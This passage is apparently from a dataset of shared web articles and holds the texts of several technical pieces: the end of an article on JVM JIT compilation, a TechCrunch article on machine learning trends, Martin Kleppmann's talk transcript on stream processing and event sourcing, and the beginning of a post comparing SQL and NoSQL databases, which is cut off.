compilers, each with its own compilation thresholds: The client or C1 compiler has a low compilation threshold of 1,500, to help reduce startup times. The server or C2 compiler has a high compilation threshold of 10,000, which helps generate highly optimized code for performance critical methods that are determined to be in the critical execution path of the application. Five Levels of Tiered Compilation With the introduction of tiered compilation, OpenJDK HotSpot VM users can benefit from improved startup times with the server compiler. Tiered compilation has five tiers of optimization. It starts in tier-0, the interpreter tier, where instrumentation provides information on the performance critical methods. Soon enough the tier 1 level, the simple C1 (client) compiler, optimizes the code. At tier 1, there is no profiling information. Next comes tier 2, where only a few methods are compiled (again by the client compiler). At tier 2, for those few methods, profiling information is gathered for entry-counters and loop-back branches. Tier 3 would then see all the methods getting compiled by the client compiler with full profiling information, and finally tier 4 would avail itself of C2, the server compiler. Tiered Compilation and Effects on Code Cache When compiling with the client compiler (tier 2 onwards), the code is profiled by the client compiler during startup, when the critical execution paths are still warming up. This helps produce better profiled information than interpreted code. The compiled code resides in a cache known as the ""code cache"". A code cache has a fixed size, and when full, the Java VM will cease method compilation. Tiered compilation has its own set of thresholds for every level e.g. -XX:Tier3MinInvocationThreshold, -XX:Tier3CompileThreshold, -XX:Tier3BackEdgeThreshold . The minimum invocation threshold at tier 3 is 100 invocations. Compared to the non-tiered C1 threshold of 1,500 you can see that tiered compilation occurs much more frequently, generating a lot more profiled information for client compiled methods. Therefore the code cache for tiered compilation must be a lot larger than code cache for non-tiered, and so the default code cache size for tiered compilation in OpenJDK 8 is 240MB as opposed to the non-tiered default of 48MB. The Java VM will provide warning signs in case the code cache is full. Users are encouraged to increase the code cache size by using the -XX:ReservedCodeCacheSize option. Understanding Compilation In order to visualize what methods get compiled and when, OpenJDK HotSpot VM provides a very useful command line option called -XX:+PrintCompilation that reports when the code cache becomes full and when the compilation stops. Let's look at some examples: The above output is formatted as: timestamp compilation-id flags tiered-compilation-level class:method <@ osr_bci> code-size <deoptimization> where, timestamp is the time from Java VM start compilation-id is an internal reference id flags could be one of the following: % : is_osr_method (@ sign indicates bytecode index for OSR methods) s : is_synchronized ! : has_exception_handler b : is_blocking n : is_native tiered-compilation indicated the compilation tier when tiered compilation is enabled Method will have the method name usually in the ClassName::method format @osr_bci is the bytecode index at which the OSR happened code-size is the total bytecode size deoptimization indicated if a method was de-optimized and made not entrant or zombie (More on this in section titled 'Dynamic De-optimization'). Based on the above key, we can tell that line 1 of our example 567 693 % ! 3 org.h2.command.dml.Insert::insertRows @ 76 (513 bytes) had a timestamp of 567, compilation-ide of 693. The method had an exception handler as indicated by '!'. We can also tell that the tiered compilation level was at 3 and it was an OSR method (as indicated by '%') with bytecode index of 76. The total bytecode size was 513 bytes. Please note 513 is the bytecode size and not the compiled code size. Line 2 of our example shows that 656 797 n 0 java.lang.Object::clone (native) the JVM facilitated a native method call and line 3 of our example 779 835 s 4 java.lang.StringBuffer::append (13 bytes) shows that the method was compiled at tier 4 and is synchronized. Dynamic De-optimization We know that Java does dynamic class loading, and the Java VM checks the inter-dependencies at every dynamic class load. When a previously optimized method is no longer relevant, OpenJDK HotSpot VM will perform dynamic de-optimization of that method. Adaptive optimization aids in dynamic de-optimization; in other words, a dynamically de-optimized code would revert/move to its previous/new compiled level as shown in the following example. (Note: This is the output generated when PrintCompilation is enabled on the command line): This output show that at timestamp 7963, fireAfterRow is tiered compiled at level 4. Right after that at timestamp 7964, the previous compilation of fireAfterRow at level 2 is made not entrant. And after a while, the fireAfterRow is made zombie; that is, the previous code is reclaimed. Understanding Inlining One of the biggest advantages of adaptive optimization is the ability to inline performance critical methods. This helps in avoiding the method invocation overhead for these critical methods, by replacing the invocations by actual method bodies. There are a lot of ""tuning"" options for inlining, based on size and invocation thresholds, and Inlining has been thoroughly studied and optimized to very near its maximum potential. If you want to spend time looking at the inlining decisions you can use a diagnostic Java VM option called -XX:+PrintInlining . PrintInlining can be a very useful tool to understand the decisions as shown in the following example: Here you can see location of the inlining and total bytes inlined. Sometimes you see tags such as "" too big "" or "" callee is too large "", which indicate that inlining didn't happen because the thresholds were exceeded. The output on line 3 above shows an "" intrinsic "" tag, let's learn more about intrinsics in the next section. Intrinsics Usually the OpenJDK HotSpot VM JIT compiler would execute generated code for performance critical methods, but at times some methods have a very common pattern e.g. java.lang.System::arraycopy as shown in the PrintInlining output in the previous section. These methods can be hand-optimized to generate more performant, optimized code similar to having your native methods but without the overhead. These intrinsics can be effectively inlined just like the Java VM would inline regular methods. Vectorization When talking about intrinsics, I would like to highlight a common compiler optimization called vectorization. Vectorization can be applied wherever the underlying platform (processor) can handle special parallel computation/vector instructions known as ""SIMD"" instructions (single instruction, multiple data). SIMD instructions and ""vectorization"" help with data-level parallelism by operating on larger cache-line size (64 bytes) datasets. HotSpot VM provides two different levels of vector support - Assembly stubs for counted inner loops; SuperWord Level Parallelism (SLP) support for auto-Vectorization. In the first case, the assembly stubs can provide vector support for inner loops while working in the nested loop, and the inner loop can be optimized and replaced by vector instructions. This is similar to intrinsics. The SLP support in HotSpot VM is based on a paper from MIT Labs . Right now, HotSpot VM only optimizes a destination array with unrolled constants, as shown in the following example provided by Vladimir Kozlov, a senior member of Oracle Compiler Team who has contributed to various compiler optimization including auto-vectorization support: a[j] = b + c * z[i] So, after the above is unrolled, it can be auto-vectorized. Escape Analysis Escape analysis is another perk of adaptive optimization. Escape analysis (EA in short) takes the entire intermediate representation graph into consideration in order to determine if any allocations are "":escaping"". That is, if any allocations are not one of the following: stored to a static field or a nonstatic field of an external object; returned from method; passed as parameter to another method where it escapes If the allocated object doesn't escape, the compiled method and the object is not passed as a parameter, then the allocation can be removed and the field values can be stored in registers. And if the allocated object doesn't escape the compiled method, but is passed as a parameter the Java VM can still remove locks associated with the object and use optimized compare instructions when comparing it to other objects. Other Common Optimizations There are other OpenJDK HotSpot VM optimizations that come with adaptive JIT compilation - Range check elimination - wherein the JVM doesn't have to check for index out-of-bounds error if it can be assured that the array index never crosses its bounds. Loop unrolling - helps with reducing the number of iterations by unrolling the loop. This aids in the JVM being able to apply other common optimizations (such as loop vectorization) wherever needed. About the Author Monica Beckwith is a Java Performance Consultant. Her past experiences include working with Oracle/Sun and AMD; optimizing the JVM for server class systems. Monica was voted a Rock Star speaker @JavaOne 2013 and was the performance lead for Garbage First Garbage Collector (G1 GC). You can follow Monica on twitter @mon_beck.",en
1467848652,CONTENT SHARED,4317140528951861957,-1032019229384696495,2877928994927953292,,,,HTML,https://techcrunch.com/2016/07/06/key-trends-in-machine-learning-and-ai/,Key trends in machine learning and AI,"You can hardly talk to a technology executive or developer today without talking about artificial intelligence, machine learning or bots. Madrona recently hosted a conference on ML and AI, bringing together some of the biggest technology companies and innovative startups in the Intelligent Application ecosystem. One of the key themes for the event emerged from a survey of the attendees. Everybody who responded to the survey said that ML is either important or very important to their company and industry. However, more than half of the respondents said their organizations did not have adequate expertise in ML to be able to do what they need to do. Here are the other top five takeaways from the conversations at the summit. Every application is going to be an intelligent application If your company isn't using machine learning to detect anomalies, recommend products or predict churn, you will start doing it soon. Because of the rapid generation of new data, availability of massive amounts of compute power and ease of use of new ML platforms (whether it is from large technology companies like Amazon, Google and Microsoft or from startups like Dato ), we expect to see more and more applications that generate real-time predictions and continuously get better over time. Of the 100 early-stage startups we have met in the last six months, 90+ percent of them are already planning to use ML to deliver a better experience for their customers. Intelligent apps are built on innovations in micro-intelligence and middle-ware services Companies today fall into two categories (broadly): those that are building some form of ML/AI technology or those that are using ML/AI technologies in their applications and services. There is a tremendous amount of innovation happening in the building block services (aka, middle-ware services) that include both data preparation services and learning services or models-as-a-service providers. Understanding the ""why"" behind the ""what"" is often another critical component of working with artificial intelligence. With the advent of microservices and the ability to seamlessly interface with them through REST APIs, there is an increasing trend for the learning services and ML algorithms to be used and re-used - as opposed to having to be re-written from scratch over and over again. For example, Algorithmia runs a marketplace for algorithms that any intelligent application can use as needed. Combining these algorithms and models with a specific slice of data (use-case specific within a particular vertical) is what we call micro-intelligence, which can be seamlessly incorporated into applications. Trust and transparency are absolutely critical in a world of ML and AI Several high-profile experiments with ML and AI came into the spotlight in the last year. Examples include Microsoft Tay, Google DeepMind AlphaGo, Facebook M and the increasing number of chatbots of all kinds. The rise of natural user interfaces (voice, chat and vision) provide very interesting options and opportunities for us as human beings to interact with virtual assistants (Apple Siri, Amazon Alexa, Microsoft Cortana and Viv). There are also some more troubling examples of how we interact with artificial intelligences. For example, at the end of one online course at Georgia Tech, students were surprised to learn that one of the teaching assistants (named Jill Watson after the IBM Watson technology) with whom they were interacting throughout the semester was a chatbot and not a human being. As much as this shows the power of technology and innovation, it also brings to mind many questions around the rules of engagement in terms of trust and transparency in a world of bots, ML and AI. Understanding the ""why"" behind the ""what"" is often another critical component of working with artificial intelligence. A doctor or a patient will not be happy with a diagnosis that tells them they have a 75 percent likelihood of cancer and they should use drug X to treat it. They need to understand which pieces of information came together to create that prediction or answer. We absolutely believe that going forward we should have full transparency with regards to ML and think through the ethical implications of the technology advances that will be an integral part of our lives and our society moving forward. We need human beings in the loop There have been a number of conversations on whether we should be afraid of AI-based machines taking over the world. As much as advances in ML and AI are going to help with automation where it makes sense, it is also true that we will absolutely need to have human beings in the loop to create the right end-to-end customer experiences. If your company isn't using machine learning to detect anomalies, recommend products or predict churn, you will start doing it soon. At one point, Redfin experimented with sending ML-generated recommendations to its users. These machine-generated recommendations had a slightly higher engagement rate than users' own search and alert filters. However, the real improvement came when Redfin asked its agents to review recommendations before they were sent out. After agents reviewed the recommendations, Redfin was able to use the agents' modifications as additional training data, and the click-through rate on recommended houses rose significantly. Splunk re-emphasized this point by describing how IT professionals play a key role in deploying and using Splunk to help them do their jobs better and more efficiently. Without these humans in the loop, customers won't get the most value out of Splunk. Another company, Spare5 , is a good example of how humans are sometimes required to train ML models by correcting and classifying the data going into the model. Another common adage in ML is garbage in, garbage out. The quality and integrity of data is critical to build high-quality models. ML is a critical ingredient for intelligent applications... but you may not need ML on Day One Machine learning is an integral part and critical ingredient in building intelligent applications, but the most important goals in building intelligent apps are to build applications or services that resonate with your customers, provide an easy way for your customer to use your service and continuously get better over time. To use ML and AI effectively, you often need to have a large dataset. The advice from people who have done this successfully is to start with the application and experience that you want to deliver, and, in the process, think about how ML can enhance your application and what dataset you need to collect to build the best experience for your customers. We have come a long way in the journey toward every app being an intelligent app, but we are still in the early stages of the journey. As Oren Etzioni, CEO of the Allen Institute for AI , said in one fireside chat, we have made tremendous progress in AI and ML, but declaring success in ML today is like ""climbing to the top of a tree and declaring we are going to the moon."" Featured Image: a-image / Shutterstock",en
1467851922,CONTENT SHARED,1403599387299754918,6756039155228175109,7993895269977887498,,,,HTML,http://www.confluent.io/blog/making-sense-of-stream-processing/,"Stream processing, Event sourcing, Reactive, CEP... and making sense of it all","Some people call it stream processing. Others call it Event Sourcing or CQRS. Some even call it Complex Event Processing. Sometimes, such self-important buzzwords are just smoke and mirrors, invented by companies who want to sell you stuff. But sometimes, they contain a kernel of wisdom which can really help us design better systems. In this talk, we will go in search of the wisdom behind the buzzwords. We will discuss how event streams can help make your application more scalable, more reliable and more maintainable. Founded in the experience of building large-scale data systems at LinkedIn, and implemented in open source projects like Apache Kafka and Apache Samza, stream processing is finally coming of age. This is an edited transcript of a talk I gave at /dev/winter 2015 . In this presentation, I'm going to discuss some of the ideas that people have about processing event streams. The idea of structuring data as a stream of events is nothing new, but I've recently noticed this idea reappearing in many different places, often with different terminology and different use cases, but with the same underlying principles. The problem when a technique becomes fashionable is that people start generating a lot of hype and buzzwords around it, often reinventing ideas that are already commonplace in a different field, but using different words to describe the same thing. In this talk I'm going to try to cut through some of the hype and jargon in the general area of stream processing, and try to get down to the underlying fundamental ideas. Although the jargon can be off-putting when you first encounter it, there's no need to be scared. A lot of the ideas are quite simple when you get down to the core. Also, there are a lot of good ideas which are worth learning about, because they can help us build applications better. The notion of processing events appears in many different areas, which is really confusing at first. People in different fields use different vocabulary to refer to the same thing. I think this is mainly because the techniques originated in different communities of people, and people seem to often stick within their own community and not look at what their neighbours are doing. The current tools for distributed stream processing have come out of internet companies like LinkedIn, with philosophical roots in database research of the early 2000s. On the other hand, complex event processing (CEP) originated in event simulation research in the 1990s and is now used for operational purposes in enterprises. Event sourcing has its roots in the domain-driven design community, which deals with enterprise software development - people who have to work with very complex data models, but often smaller datasets than the internet companies. My background is in internet companies, but I'm doing my best to understand the jargon of the other communities, and figure out the commonalities and differences. If I've misunderstood something, please correct me. To make this concrete, I'm going to start by giving an example from the field of stream processing, specifically analytics. I'll then draw parallels with other areas. To start with, take something like Google Analytics. As you probably know, Google Analytics is a bit of Javascript that you can put on your website, and that keeps track of which pages have been viewed by which visitors. An administrator can then explore this data, breaking it down by time period, or by URL, and so on. How would you implement something like Google Analytics? First take the input to the system. Every time a user views a page, we need to log an event to record that fact. A page view event may look something like this (using a kind of pseudo-JSON): A page view has an event type (PageViewEvent), a Unix timestamp that indicates when the event happened, the IP address of the client, the session ID (this may be a unique identifier from a cookie, which allows you to figure out what series of page views is from the same person), the URL of the page that was viewed, how the user got to that page (for example, from a search engine, or clicking a link from another site), the user's browser and language settings, and so on. Note that each page view event is a simple, immutable fact. It simply records that something happened. Now, how do you go from these page view events to the nice graphical dashboard on which you can explore how people are using your website? Broadly speaking, you have two options. Option (a): you can simply store every single event as it comes in, dump them all in a big database, a data warehouse or a Hadoop cluster. Now, whenever you want to analyze this data in some way, you run a big SELECT query against this dataset. For example, you might group by URL and by time period, you might filter by some condition, and then COUNT(*) to get the number of page views for each URL over time. This will scan over essentially all the events, or at least some large subset, and do the aggregation on the fly. Option (b): if storing every single event is too much for you, you can instead store an aggregated summary of the events. For example, if you're counting things, you increment a few counters every time an event comes in, and then you throw away the actual event. You might keep several counters in something that's called an OLAP cube : imagine a multi-dimensional cube, where one dimension is the URL, another dimension is the time of the event, another dimension is the browser, and so on. For each event, you just need to increment the counters for that particular URL, that particular time, etc. With an OLAP cube, when you want to find the number of page views for a particular URL on a particular day, you just need to read the counter for that combination of URL and date. You don't have to scan over a long list of events; it's just a matter of reading a single value. Now option (a) may sound a bit crazy, but it actually works surprisingly well. I believe Google Analytics actually does store the raw events, or at least a large sample of events, and performs a big scan over those events when you look at the data. Modern analytic databases have become really good at scanning quickly over large amounts of data. The big advantage of storing raw event data is that you have maximum flexibility for analysis. For example, you can trace the sequence of pages that one person visited over the course of their session. You can't do that if you've squashed all the events into counters. That sort of analysis is really important for some offline processing tasks, such as training a recommender system (""people who bought X also bought Y"", that sort of thing). For such use cases, it's best to simply keep all the raw events, so that you can later feed them all into your shiny new machine learning system. However, option (b) also has its uses, especially when you need to make decisions or react to things in real time. For example, if you want to prevent people from scraping your website, you can introduce a rate limit, so that you only allow 100 requests per hour from any particular IP address; if a client goes over the limit, you block it. Implementing that with raw event storage would be incredibly inefficient, because you'd be continually re-scanning your history of events to determine whether someone has gone over the limit. It's much more efficient to just keep a counter of number of page views per IP address per time window, and then you can check on every request whether that number has crossed your threshold. Similarly, for alerting purposes, you need to respond quickly to what the events are telling you. For stock market trading, you also need to be quick. The bottom line here is that raw event storage and aggregated summaries of events are both very useful. They just have different use cases. Let's focus on those aggregated summaries for now. How do you implement those? Well, in the simplest case, you simply have the web server update the aggregates directly. Say you want to count page views per IP address per hour, for rate limiting purposes. You can keep those counters in something like memcached or Redis, which have an atomic increment operation. Every time a web server processes a request, it directly sends an increment command to the store, with a key that is constructed from the client IP address and the current time (truncated to the nearest hour). If you want to get a bit more sophisticated, you can introduce an event stream, or a message queue, or an event log, or whatever you want to call it. The messages on that stream are the PageViewEvent records that we saw earlier: one message contains the properties of one particular page view. The nice thing about this architecture is that you can now have multiple consumers for the same event data. You can have one consumer which simply archives the raw events to some big storage; even if you don't yet have the capability to process the raw events, you might as well store them, since storage is cheap and you can use them in future. Then you can have another consumer which does some aggregation (for example, incrementing counters), and another consumer which does something else. Those can all feed off the same event stream. Let's now change topic for a moment, and look at similar ideas from a different field. Event sourcing is an idea that has come out of the domain-driven design community - it seems to be fairly well known amongst enterprise software developers, but it's totally unknown in internet companies. It comes with a large amount of jargon that I find very confusing, but there seem to be some very good ideas in event sourcing. So I'm going to try to extract those good ideas without going into all the jargon, and we'll see that there are some surprising parallels with my last example from the field of stream processing analytics. Event sourcing is concerned with how we structure data in databases. As example database I'm going to use a shopping cart from an e-commerce website. Each customer may have some number of different products in their cart at one time, and for each item in the cart there is a quantity. Nothing very complicated here. Now say that customer 123 updates their cart: instead of quantity 1 of product 999, they now want quantity 3 of that product. You can imagine this being recorded in the database using an UPDATE query, which matches the row for customer 123 and product 999, and modifies that row, changing the quantity from 1 to 3. This example uses a relational data model, but that doesn't really matter. With most non-relational databases you'd do more or less the same thing: overwrite the old value with the new value when it changes. However, event sourcing says that this isn't a good way to design databases. Instead, we should individually record every change that happens to the database. For example, we first record an AddToCart event when customer 123 first adds product 888 to their cart, with quantity 1. We then record a separate UpdateCartQuantity event when they change the quantity to 3. Later, the customer changes their mind again, and reduces the quantity to 2, and finally they go to the checkout. Each of these actions is recorded as a separate event, and appended to the database. You can imagine having a timestamp on every event too. When you structure the data like this, every change to the shopping cart is an immutable event - a fact. Even if the customer did change the quantity to 2, it is still true that at a previous point in time, the selected quantity was 3. If you overwrite data in your database, you lose this historic information. Keeping the list of all changes as a log of immutable events thus gives you strictly richer information than if you overwrite things in the database. And this is really the essence of event sourcing: rather than performing destructive state mutation on a database when writing to it, we should record every write as a ""command"", as an immutable event. And that brings us back to our stream processing example (Google Analytics). Remember we discussed two options for storing data: (a) raw events, or (b) aggregated summaries. What we have here with event sourcing is looking very similar. You can think of those event-sourced commands (AddToCart, UpdateCartQuantity) as raw events: they comprise the history of what happened over time. But when you're looking at the contents of your shopping cart, you see the its current state - the end result, which is what you get when you have applied the entire history of events and squashed them together into one thing. So the current state of the cart may say quantity 2. The history of raw events will tell you that at some previous point in time the quantity was 3, but that the customer later changed their mind and updated it to 2. The aggregated end result only tells you that the current quantity is 2. Thinking about it further, you can observe that the raw events are the form in which it's ideal to write the data: all the information in the database write is contained in a single blob. You don't need to go and update five different tables if you're storing raw events - you only need to append the event to the end of a log. That's the simplest and fastest possible way of writing to a database. On the other hand, the aggregated data is the form in which it's ideal to read data from the database. If a customer is looking at the contents of their shopping cart, they are not interested in the entire history of modifications that led to the current state - they only want to know what's in the cart right now. So when you're reading, you can get the best performance if the history of changes has already been squashed together into a single object representing the current state. Going even further, think about the user interfaces that lead to database writes and database reads. A database write typically happened because the user clicked some button: for example, they edited some data, and now they click the save button. So, buttons in the user interface correspond to raw events in the event sourcing history. On the other hand, a database read typically happens because the user views some screen: they click on some link or open some document, and now they need to read the contents. These reads typically want to know the current state of the database. So screens in the user interface correspond to aggregated state. This is quite an abstract idea, so let me go through a few examples. Take Twitter, for example. The most common way of writing to Twitter's database - i.e. to provide input into the Twitter system - is to tweet something. A tweet is very simple: it consists of some text, a timestamp, and the ID of the user who tweeted. (Perhaps optionally a location, or a photo, or something.) The user then clicks that ""Tweet"" button, which causes a database write to happen, i.e. an event is generated. On the output side, the way how you read from Twitter's database is by viewing your timeline. It shows all the stuff that was written by people you follow. It's a vastly more complicated structure: For each tweet, you now have not just the text, timestamp and user ID, but also the name of the user, their profile photo, and other information that has been joined with the tweet. Also, the list of tweets has been selected based on the people you follow, which may itself change. How would you go from the simple input to the more complex output? Well, you could try expressing it in SQL, something like this: That is, find all of the users who $user is following, find all the tweets that they have written, order them by time and pick the 100 most recent. Turns out this query really doesn't scale very well. Do you remember in the early days of Twitter, when they kept having the fail whale all the time? Apparently that was essentially because they were using something like the query above. When a user views their timeline, it's too expensive to iterate over all the people they are following to get those users' tweets. Instead, Twitter must compute a user's timeline ahead of time, and cache it, so that it's fast when a user looks at it. To do that, they need a process that translates from the write-optimized event (a single tweet) to the read-optimized aggregate (a timeline). Twitter has such a process, and calls it the fanout service . Another example: take Facebook. It has many buttons that enable you to write something to Facebook's database, but a classic one is the ""Like"" button. When you click it, that generates an event, a fact with a very simple structure: you (identified by your user ID) like (an action verb) some item (identified by its ID). However, if you look at the output side, reading something on Facebook, it's incredibly complicated. In this example we have a Facebook post which is not just some text, but also the name of the author and his profile photo; and it's telling me that 160,216 people like this update, of which three have been especially highlighted (presumably because Facebook thinks that amongst the likers of this update, these are the ones I am most likely to know); it's telling me that there are 6,027 shares and 12,851 comments, of which the top 4 comments are shown (clearly some kind of comment ranking is happening here); and so on. There must be some translation process happening here, which takes the very simple events as input, and produces the massively complex and personalized output structure. You can't even conceive what the database query would look like to fetch all the information in that Facebook update. There is no way they could efficiently query all of that on the fly, not with over 100,000 likes. Clever caching is absolutely essential if you want to build something like this. From the Twitter and Facebook examples we can see a certain pattern: the input events, corresponding to the buttons in the user interface, are quite simple. They are immutable facts, we can simply store them all, and we can treat them as the source of truth . Everything that you can see on a website, i.e. everything that you read from the database, can be derived from those raw events. There is a process which derives those aggregates from the raw events, and which updates the caches when new events come in, and that process is entirely deterministic. You could, if necessary, re-run it from scratch: if you feed in the entire history of everything that ever happened on the site, you can reconstruct every cache entry to be exactly as it was before. The database you read from is just a cached view of the event log . The beautiful thing about this separation between source of truth and caches is that in your caches, you can denormalize data to your heart's content. In regular databases, it is often considered best practice to normalize data, because if something changes, you then only have to change it one place. Normalization makes writes fast and simple, but means you have to do more work (joins) at read time. In order to speed up reads, you can denormalize data, i.e. duplicate information in various places so that it can be read faster. The problem is now that if the original data changes, all the places where you copied it to also need to change. In a typical database, that's a nightmare, because you may not know all the places where something has been copied. But if your caches are built from your raw events using a repeatable process, you have much more freedom to denormalize, because you know what data is flowing where. Another example: Wikipedia. This is almost a counter-example to Twitter and Facebook, because on Wikipedia the input and the output are almost the same. When you edit a page on Wikipedia, you get a big text field containing the entire page content (using wiki markup), and when you click the save button, it sends that entire page content back to the server. The server replaces the entire page with whatever you posted to it. When someone views the page, it returns that same content back to the user (formatted into HTML). So, in this case, the input and the output are the same. What would event sourcing mean in this case? Would it perhaps make sense to represent a write event as a diff, like a patch file, rather than a copy of the entire page? It's an interesting case to think about. (Google Docs works by continually applying diffs at a character granularity - effectively an event per keystroke.) Final example: LinkedIn. Say you update your LinkedIn profile, and add your current job, which consists of a job title, a company, and some text. Again, the edit event for writing to the database is very simple. There are various ways how you can read this data, and in this example, let's look at the search feature. On the output side, one way you can read LinkedIn's database is by typing some keywords and maybe a company name into a search box, and find all the people matching those criteria. How is that implemented? Well, in order to search, you need a full-text index, which is essentially a big dictionary - for every keyword, it tells you the IDs of all the profiles that contain the keyword. This search index is another aggregate structure, and whenever some data is written to the database, this structure needs to be updated with the new data. So for example, if I add my job ""Author at O'Reilly"" to my profile, the search index must now be updated to include my profile ID under the entries for ""author"" and ""o'reilly"". The search index is just another kind of cache. It also needs to be built from the source of truth (all the profile edits that have ever occurred) and it needs to be updated whenever a new event occurs (someone edits their profile). Now, returning to stream processing. I first described how you might build something like Google Analytics, and compared storing raw page view events versus aggregated counters, and discussed how you can maintain those aggregates by consuming a stream of events. I then explained event sourcing, which applies a similar approach to databases: treat all the database writes as a stream of events, and build aggregates (views, caches, search indexes) from that stream. Once you have that event stream, you can do many great things with it: You can take all the raw events, perhaps transform them a bit, and load them into a big data warehouse where analysts can query the data to their heart's content. You can update full-text search indexes, so that when a user hits the search box, they are searching an up-to-date version of the data. You can invalidate or refill any caches, so that reads can be served from fast caches while also making sure that the data in the cache remains fresh. And finally, you can even take one event stream, and process it in some way (perhaps joining a few streams together) to create a new output stream. This way, you can plug the output of one system into the input of another system. This is a very powerful way of building complex applications cleanly. Moving to an event-sourcing-like approach for databases is a big change from the way that databases have traditionally been used (where you can update and delete data at will). Why would you want to go to all that effort of changing the way you do things? What's the benefit of using append-only streams of immutable events? Several reasons: Loose coupling. If you write data to the database in the same schema as you use for reading, you have tight coupling between the part of the application doing the writing (the ""button"") and the part doing the reading (the ""screen""). We know that loose coupling is a good design principle for software. By separating the form in which you write and read data, and by explicitly translating from one to the other, you get much looser coupling between different parts of your application. Read and write performance. The decades-old debate over normalization (faster writes) vs. denormalization (faster reads) exists only because of the assumption that writes and reads use the same schema. If you separate the two, you can have fast writes and fast reads. Event streams are great for scalability , because they are a simple abstraction (comparatively easy to parallelize and scale across multiple machines), and because they allow you to decompose your application into producers and consumers of streams (which can operate independently, and can take advantage of more parallelism in hardware). Flexibility and agility. Raw events are so simple and obvious that a ""schema migration"" doesn't really make sense (you may just add a new field from time to time, but you don't usually need to rewrite historic data into a new format). On the other hand, the ways in which you want to present data to users are much more complex, and may be continually changing. If you have an explicit translation process between the source of truth and the caches that you read from, you can experiment with new user interfaces by just building new caches using new logic, running the new system in parallel with the old one, gradually moving people over from the old system, and then discarding the old system (or reverting to the old system if the new one didn't work). Such flexibility is incredibly liberating. Finally, error scenarios are much easier to reason about if data is immutable. If something goes wrong in your system, you can always replay events in the same order, and reconstruct exactly what happened (especially important in finance, where auditability is crucial). If you deploy buggy code that writes bad data to a database, you can just re-run it after you fixed the bug, and thus correct the outputs. Those things are not possible if your database writes are destructive. Finally, let's talk about how you might put these ideas into practice. I should point out that in reality, database writes often already do have a certain event-like immutable quality . The write-ahead log that exists in most databases is essentially an event stream of writes, although it's very specific to a particular database. The MVCC mechanism in databases like PostgreSQL, MySQL's InnoDB and Oracle, and the append-only B-trees of CouchDB, Datomic and LMDB are examples of the same thinking: it's better to structure writes as an append-only log than to perform destructive overwrites. However, here we're not talking about the internals of storage engines, but about using event streams at the application level. Some databases such as Event Store have oriented themselves specifically at the event sourcing model, and some people have implemented event sourcing on top of relational databases. Those may be viable solutions if you're operating at fairly small scale. The systems I have worked with most are Apache Kafka and Apache Samza . They are open source projects that originated at LinkedIn, and now have a big community around them. Kafka is a message broker, like a publish-subscribe message queue, which supports event streams with many millions of messages per second, durably stored on disk and replicated across multiple machines. Samza is the processing counterpart to Kafka: a framework which lets you write code to consume input streams and produce output streams, and it handles stuff like deploying your code to a cluster and recovering from failures. I would definitely recommend Kafka as a system for high-throughput reliable event streams. On the processing side, there are a few choices: Samza , Storm and Spark Streaming are the most popular stream processing frameworks. They all allow you to run your stream processing code distributed across multiple machines. There are interesting design differences (pros and cons) between these three frameworks, which I don't have time to go into here. You can read up a detailed comparison between them in the Samza documentation . And yes, I also think it's funny that they all start with the letter S. Today's distributed stream processing systems have come out of internet companies (Samza from LinkedIn, Storm from Backtype/Twitter). Arguably, they have their roots in stream processing research from the early 2000s ( TelegraphCQ , Borealis , etc), which originated from a relational database background. Just as NoSQL datastores stripped databases down to a minimal feature set, modern stream processing systems look quite stripped-down compared to the earlier research. The modern stream processing frameworks (Samza, Storm, Spark Streaming) are mostly concerned with low-level matters: how to scale processing across multiple machines, how to deploy a job to a cluster, how to handle faults (crashes, machine failures, network outages), and how to achieve reliable performance in a multi-tenant environment . The APIs they provide are quite low-level (e.g. a callback that is invoked for every message). They look much more like MapReduce and less like a database. They are more interested in reliable operation than in fancy features. By contrast, there is also some work on high-level query languages for stream processing, and Complex Event Processing is especially worth mentioning. It originated in 1990s research on event-driven simulation , and most CEP products are commercial, expensive enterprise software (only Esper is free/open source, and it's limited to running on a single machine). With CEP, you write queries or rules that match certain patterns in the events. They are comparable to SQL queries (which describe what results you want to return from a database), except that the CEP engine continually searches the stream for sets of events that match the query and notifies you (generates a ""complex event"") whenever a match is found. This is useful for fraud detection or monitoring business processes, for example. For use cases that can be easily described in terms of a CEP query language, such a high-level language is much more convenient than a low-level event processing API. On the other hand, a low-level API gives you more freedom, allowing you to do a wider range of things than a query language would let you do. Also, by focussing their efforts on scalability and fault tolerance, stream processing frameworks provide a solid foundation upon which query languages can be built. A related idea is doing full-text search on streams, where you register a search query in advance, and then get notified whenever an event matches your query. We've done some experimental work with Luwak in this area, but it's still very new. Finally, there are a lot of other things that are somehow related to stream processing. Going into laundry-list mode, here is a brief summary: Actor frameworks such as Akka, Orleans and Erlang OTP are also based on streams of immutable events. However, they are primarily a mechanism for concurrency, less a mechanism for data management. Some actor frameworks do have a distributed component, so you could build a distributed stream processing framework on top of actors. However, it's worth looking carefully at the fault-tolerance guarantees and failure modes of these systems: many don't provide durability, for example. There's a lot of buzz around "" reactive "", which seems to encompass a quite loosely-defined set of ideas . My impression is that there is some good work happening in dataflow languages and functional reactive programming (FRP), which I see as mostly about bringing event streams to the user interface, i.e. updating the user interface when some underlying data changes. This is a natural counterpart to event streams in the data backend. Finally, change data capture (CDC) means using an existing database in the familiar way, but extracting any inserts, updates and deletes into a stream of data change events which other applications can consume. This is a great migration path towards a stream-oriented architecture, and I'll be talking and writing more about CDC in future. I hope this talk helped you make some sense of the many facets of stream processing! Martin Kleppmann is a software engineer and entrepreneur. He is a committer on Apache Samza and author of the upcoming O'Reilly book Designing Data-Intensive Applications . He's @martinkl on Twitter.",en
1467852255,CONTENT SHARED,4307433444610636421,6756039155228175109,7993895269977887498,,,,HTML,http://enterprisecraftsmanship.com/2015/11/06/sql-vs-nosql-you-do-want-to-have-a-relational-storage-by-default/,SQL vs NoSQL: you do want to have a relational storage by default - Enterprise Craftsmanship,"The concept of NoSQL databases has been around for a while, but there still are quite a few misunderstandings regarding the topic of relational SQL vs NoSQL databases. In this post, I'd like to clarify the most common misconceptions and discuss the primary use cases for each of them. Are NoSQL databases really schemaless? A quick note before we start: the notion of NoSQL refers to 4 different types of databases: Document-Oriented, Column-Oriented, Key-Value stores, and Graph DBs. In this post, I talk about Document-Oriented databases primarily. I refer to them as NoSQL for the sake of brevity but keep in mind the term itself has a more broad scope. Alright, so are NoSQL databases really schemaless? Let's take an example. Let's say we have a document collection named Customers with the following data inside: Because of the collection's schemaless nature, nothing prevents us from adding another document, like this: Now, let's say we have a method that looks for customers given a particular name: What would happen if we add Alice Christopher to the collection the way we did previously? Would the Find method find her? Surely, not. The repository class implicitly relies on the collection schema and require all customers to have the Name property in order to be detected. In this 